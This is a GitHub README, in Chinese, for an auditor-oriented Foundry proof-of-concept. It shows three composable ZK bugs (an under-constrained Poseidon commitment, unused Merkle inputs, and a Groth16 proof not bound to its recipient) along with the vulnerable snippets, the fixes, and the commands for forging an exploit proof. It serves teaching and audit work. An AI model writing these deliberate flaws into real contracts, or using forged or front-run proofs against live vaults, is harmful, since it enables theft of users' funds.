Loccturno/zk-multi-layer-exploit
GitHub: Loccturno/zk-multi-layer-exploit
一个演示 ZK 电路与 Solidity 合约集成中三个可组合漏洞的 Foundry PoC 项目,帮助审计人员理解跨层安全缺陷如何导致资金损失。
Stars: 0 | Forks: 0
# ZK 多层漏洞利用 — Foundry PoC
一个可复现的概念验证,展示了分布在 Circom 电路和 Solidity 集成层的**三个可组合 bug** 是如何让攻击者抽空私人金库的,以及抢先交易者(front-runner)是如何劫持合法证明的。
这里的关键结论是 ZK 审计中最容易被忽视的一点:**一个“有效”的 Groth16 证明仅仅证明了证明者满足了你所编写的约束** —— 而不是你主观设想的约束。即使是一个完美的电路,也可能被一个粗心大意的合约包装器毁掉。
## 三个 Bug
### BUG #1 — 欠约束承诺检查(电路)
```
component noteCommit = Poseidon(2);
noteCommit.inputs[0] <== secret;
noteCommit.inputs[1] <== noteBalance;
// BUG: missing `noteCommit.out === expectedCommit;`
```
该电路计算了 `(secret, noteBalance)` 的 Poseidon 哈希,但从未断言其等于链上的 `expectedCommit`。证明者可以使用**任意** `(secret, noteBalance)` 对来声称拥有**任意**承诺。用户的实际存款与证明之间不存在任何绑定。
### BUG #2 — 无效公共输入(电路)
```
signal input merkleRoot; // declared
signal input merkleSiblings[4]; // declared
// ... never referenced again
```
该电路声明了一个 `merkleRoot` 公共输入和四个 `merkleSiblings` 私有输入,但**完全没有**使用它们。编译器甚至会提示:`private inputs: 6 (1 belong to witness)` —— 这意味着在声明的 6 个私有输入中,有 5 个从未被实际连接使用。正确的电路应该使用这些兄弟节点计算从 `noteCommit` 到 `merkleRoot` 的 Merkle 路径;但这个电路没有。即使 BUG #1 被修复,证明者仍然可以伪造从未存入过的票据。
### BUG #3 — 证明未与接收者绑定(合约)
```
function withdraw(uint[2] pA, uint[2][2] pB, uint[2] pC, uint[3] pubSignals) external {
require(verifier.verifyProof(pA, pB, pC, pubSignals), "invalid proof");
// ...
(bool ok, ) = msg.sender.call{value: revealedBalance}("");
// BUG: msg.sender appears nowhere in pubSignals
}
```
Groth16 证明是一个纯粹的密码学对象。它没有“为谁服务”的概念。如果合约在向 `msg.sender` 支付款项时,没有强制要求证明与该地址绑定,那么任何在 mempool 中看到有效证明的第三方都可以复制它,抢先提交并卷走资金。
## 为什么三个 Bug 会组合在一起
每个 Bug 独立存在时都是可利用的。本 PoC 将它们组合起来以展示:
1. **BUG #1 + #2** 让攻击者能够为从未存入的资金伪造提款证明。
2. **BUG #3** 让抢先交易者可以劫持任何其他用户的提款 —— 即使该提款是使用正确的电路生成的。
给审计人员的教训是:**电路安全与合约安全是不可分割的**。一个部署了完美电路却配以粗心包装器的协议,其最终结果与部署了漏洞电路却配以谨慎包装器的协议完全一样:资金被抽空。你必须结合审计这两个层面。
## 修复方案
### 电路(参见 `circuits/fixed/VaultClaim.circom`)
```
// FIX #1: bind to the on-chain commitment
noteCommit.out === expectedCommit;
// FIX #2: real Merkle inclusion proof
// - Use merkleSiblings + pathIndices to compute the root from noteCommit.out
// - Constrain the computed root to equal merkleRoot
```
### 合约(参见 `src/SafeVault.sol`)
```
function withdraw(... uint[3] pubSignals, address recipient) external {
require(recipient == msg.sender, "recipient mismatch");
// ...
}
```
这种合约级别的修复只是部分缓解措施。**最彻底的**修复方法是将 `recipient` 作为公共输入添加到电路本身中,这样证明在生成时就与特定地址进行了密码学意义上的绑定。生产级 ZK 协议(Tornado Cash、Aztec、zkSync)都是这样做的。
## 复现步骤
### 环境要求
- Node 20+, npm
- Foundry (`forge`)
- Rust + Cargo
- Circom 2.x (从源码编译)
- 全局安装 `snarkjs` (`npm install -g snarkjs`)
### 构建
```
npm install
# 编译存在漏洞的 circuit
cd circuits/vulnerable && circom VaultClaim.circom --r1cs --wasm --sym -o . && cd ../..
# Powers of Tau(复用自任何现有的 ZK 项目,或全新生成)
cd ptau
snarkjs powersoftau new bn128 12 pot12_0000.ptau -v
snarkjs powersoftau contribute pot12_0000.ptau pot12_0001.ptau --name="c1" -e="$(head -c 32 /dev/urandom | base64)"
snarkjs powersoftau beacon pot12_0001.ptau pot12_beacon.ptau 0102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f20 10 -n="Final Beacon"
snarkjs powersoftau prepare phase2 pot12_beacon.ptau pot12_final.ptau -v
cd ..
# Per-circuit setup
snarkjs groth16 setup circuits/vulnerable/VaultClaim.r1cs ptau/pot12_final.ptau circuits/vulnerable/VaultClaim_0000.zkey
snarkjs zkey contribute circuits/vulnerable/VaultClaim_0000.zkey circuits/vulnerable/VaultClaim_final.zkey --name="c1" -e="$(head -c 32 /dev/urandom | base64)"
snarkjs zkey export verificationkey circuits/vulnerable/VaultClaim_final.zkey circuits/vulnerable/verification_key.json
snarkjs zkey export solidityverifier circuits/vulnerable/VaultClaim_final.zkey src/Verifier.sol
```
### 生成输入与证明
```
# 生成 honest + exploit 输入 JSON(为 honest 计算真实的 Poseidon commitment)
node scripts/generate_inputs.js
# Honest 情况(通过 — circuit 接受,因为它没有进行任何真实检查)
node circuits/vulnerable/VaultClaim_js/generate_witness.js \
circuits/vulnerable/VaultClaim_js/VaultClaim.wasm \
inputs/honest.json proofs/honest_witness.wtns
snarkjs groth16 prove circuits/vulnerable/VaultClaim_final.zkey proofs/honest_witness.wtns proofs/honest_proof.json proofs/honest_public.json
snarkjs groth16 verify circuits/vulnerable/verification_key.json proofs/honest_public.json proofs/honest_proof.json
# Exploit 情况 — 相同流程,但使用伪造的 commitment 和垃圾 Merkle root
node circuits/vulnerable/VaultClaim_js/generate_witness.js \
circuits/vulnerable/VaultClaim_js/VaultClaim.wasm \
inputs/exploit.json proofs/exploit_witness.wtns
snarkjs groth16 prove circuits/vulnerable/VaultClaim_final.zkey proofs/exploit_witness.wtns proofs/exploit_proof.json proofs/exploit_public.json
snarkjs groth16 verify circuits/vulnerable/verification_key.json proofs/exploit_public.json proofs/exploit_proof.json
# → OK!(该 exploit)
```
### 运行 Foundry 测试
```
forge test -vv
```
预期结果:
[PASS] test_Bug1And2_AttackerDrainsNaiveVault — 伪造的证明抽空了金库
[PASS] test_Bug3_FrontRunnerStealsFromNaiveVault — 抢先交易者窃取了付款
[PASS] test_SafeVault_RejectsFrontRunner — 修复生效
## 我的关注点
在审查此类 Bug 模式时,我发现有用的扫描过程分为两个阶段。
**电路层。** 我会将每个声明的公共输入向前追踪到约束中。如果它从未出现在某个约束中,那它在功能上就不存在 —— 而编译器并不会对此发出警告。对于 `component X = Y();` 也是如此 —— 如果没有任何约束涉及 `X.out`,那么该组件仅仅是个装饰。
**集成层。** 我会审查合约如何获取验证器所需的每个公共输入,以及它将它们绑定到何处。如果从 calldata 读取的 `pubSignals[i]` 没有对 `msg.sender`、`block.number` 或类似上下文进行检查,这就意味着该证明是可重放的。
反复出现的模式往往是电路所约束的内容与合约所假设的内容之间存在差异。
## 本项目的局限性
这是一个最小化的 PoC,而不是针对已部署协议的漏洞利用。基于 Circom 构建的真实系统 —— Tornado Cash、Semaphore、Aztec、zkSync 电路 —— 都包含了接收者绑定、nullifier 集以及真正的 Merkle 包含证明。为了清晰地孤立展示每个 Bug,此处的电路故意省略了这些内容。这里展示的模式正是曾经导致过真实世界资金损失的模式;而特定的合约仅仅是让每个 Bug 显现出来的最小化脚手架。
## 相关 PoC
另请参阅:[zk-underflow-exploit](https://github.com/Loccturno/zk-underflow-exploit)
— 这是一个配套的 PoC,展示了余额转账电路中的单个字段下溢 bug,并附有端到端的链上漏洞利用证明。
## 参考文献
- [snarkjs](https://github.com/iden3/snarkjs)
- [Circom 2 文档](https://docs.circom.io/)
- [circomlib](https://github.com/iden3/circomlib)
- [circomlibjs](https://github.com/iden3/circomlibjs)
- [0xPARC ZK bug 跟踪器](https://github.com/0xPARC/zk-bug-tracker)
## 许可证
MIT
标签:Foundry, MITM代理, Web3安全, 区块链安全, 可视化界面, 智能合约审计, 零知识证明